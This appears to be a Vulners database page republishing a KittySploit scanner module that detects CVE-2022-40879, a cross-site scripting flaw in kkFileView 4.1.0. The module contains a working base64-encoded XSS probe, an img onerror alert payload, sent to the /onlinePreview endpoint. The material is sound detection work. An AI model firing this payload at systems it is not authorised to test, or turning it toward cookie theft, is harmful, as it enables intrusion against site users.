Lucene search
+L

kkFileView 4.1.0 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Cross-Site Scripting in kkFileView via the errorMsg parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnnvd
CNNVD
kkFileView 跨站脚本漏洞
29 Sep 202200:00
–cnnvd
cve
CVE
CVE-2022-40879
29 Sep 202216:22
–cve
cvelist
Cvelist
CVE-2022-40879
29 Sep 202216:22
–cvelist
mend
Mend
CVE-2022-40879
29 Sep 202216:22
–mend
nuclei
Nuclei
kkFileView 4.1.0 - Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2022-40879
29 Sep 202217:15
–nvd
prion
Prion
Cross site scripting
29 Sep 202217:15
–prion
ptsecurity
Positive Technologies
PT-2022-25603 · Unknown · Kkfileview
29 Sep 202200:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2022-40879: Improper Neutralization of Input During Web Page Generation
29 Sep 202200:00
–rapid7
redhatcve
RedhatCVE
CVE-2022-40879
22 May 202523:37
–redhatcve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""kkFileView 4."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'kkFileView 4.1.0 - Cross-Site Scripting Detection',
        'description': 'kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'kkfileview', 'xss', 'keking', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/kekingcn/kkFileView/issues/389',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-40879',
            'https://github.com/ARPSyndicate/cvemon',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/Henry4E36/POCS',
        ],
        'cve': 'CVE-2022-40879',
    }

    def run(self):
        r = self.http_request(method="GET", path='/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ==', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('<img src=1 onerror=alert(document.domain)>=PQ</p>', '该文件不',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="kkFileView 4.1.0 - Cross-Site Scripting detected",
                path='/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ==',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 3.16.1
EPSS0.01346
SSVC
1